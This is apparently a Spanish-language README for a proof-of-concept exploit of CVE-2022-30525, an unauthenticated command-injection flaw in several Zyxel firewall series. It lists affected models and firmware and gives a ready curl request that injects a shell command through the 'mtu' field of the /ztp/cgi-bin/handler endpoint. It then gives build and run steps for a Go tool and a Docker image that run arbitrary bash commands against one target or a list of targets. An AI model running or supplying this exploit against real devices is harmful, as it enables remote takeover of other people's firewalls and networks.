
POC inicial para el CVE-2022-30525
Rapid7 descubrió y reportó una vulnerabilidad que afecta a los firewalls de Zyxel compatibles con Zero Touch Provisioning (ZTP), incluidas las series ATP, VPN y USG FLEX (incluidos USG20-VPN y USG20W-VPN). La vulnerabilidad, identificada como CVE-2022-30525, permite a un atacante remoto no autenticado ejecutar código arbitrario como el usuario nobody en el dispositivo afectado.
La siguiente tabla contiene los modelos afectados y las versiones de firmware.
Modelo afectado USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 hasta ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 hasta ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 hasta ZLD5.21 Patch 1 La serie VPN, que también admite ZTP, no es vulnerable porque no admite la funcionalidad requerida.
Los modelos afectados son vulnerables a la inyección de comandos remota y no autenticada a través de la interfaz HTTP administrativa. Los comandos se ejecutan como el usuario nobody. Esta vulnerabilidad se explota a través de la URI /ztp/cgi-bin/handler.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Debería crearse un archivo cmds donde puedas añadir los comandos que se ejecutarán mediante el programa en el siguiente formato:
bash -c "command#1 && command#2 && etc."
For example:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Donde INPUT_FILE es una URL objetivo o un archivo con una lista de objetivos.
Siéntete libre de contactarme a través de Keybase para cualquier detalle.